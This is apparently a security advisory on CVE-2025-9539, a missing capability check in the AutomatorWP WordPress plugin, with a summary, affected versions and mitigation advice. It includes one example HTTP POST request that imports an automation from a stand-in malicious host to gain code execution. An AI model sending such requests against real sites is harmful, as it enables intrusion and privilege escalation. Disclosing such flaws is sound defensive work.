Overview
In the ever-evolving cybersecurity landscape, vulnerabilities can often lurk in the most innocuous of places. One such vulnerability, known as CVE-2025-9539, poses a significant threat to users of the AutomatorWP plugin for WordPress. This popular plugin, designed for creating no-code automations, webhooks, and custom integrations, has an inherent flaw that could potentially lead to unauthorized modifications of data.
The vulnerability is particularly concerning due to the widespread use of the AutomatorWP plugin, and the high-risk nature of the potential exploits. If exploited, this vulnerability could lead to remote code execution or privilege escalation, thus posing a serious threat to website integrity and data security.
Vulnerability Summary
CVE ID: CVE-2025-9539
Severity: High (8.0)
Attack Vector: Web
Privileges Required: Subscriber-level access
User Interaction: Required
Impact: Potential for remote code execution or privilege escalation, leading to unauthorized data modification.
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Product | Affected Versions
AutomatorWP for WordPress | Up to and including 5.3.6
How the Exploit Works
An attacker with subscriber-level access or above could exploit this vulnerability by invoking the `automatorwp_ajax_import_automation_from_url` function without the required capability check. By doing so, they could create arbitrary automations. These automations could then be activated by an administrator, leading to potential remote code execution or privilege escalation. This unauthorized access provides the attacker with the means to modify data without detection.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. This pseudocode represents an HTTP POST request to the vulnerable endpoint:
POST /wp-admin/admin-ajax.php?action=automatorwp_import_automation_from_url HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"automation_url": "http://malicious.example.com/evil_automation.json"
}In this example, the attacker is using the `automatorwp_import_automation_from_url` action to import a malicious automation from an external URL. Once this automation is activated by an unsuspecting administrator, the attacker can execute arbitrary commands or escalate privileges within the system.
Mitigation and Remediation
Users of the affected versions of AutomatorWP should apply the vendor’s patch as soon as possible to mitigate this vulnerability. If a patch is not immediately available, temporary mitigation can be achieved by employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS). All users are strongly advised to regularly update their plugins to the latest versions to prevent exploitation of known vulnerabilities.
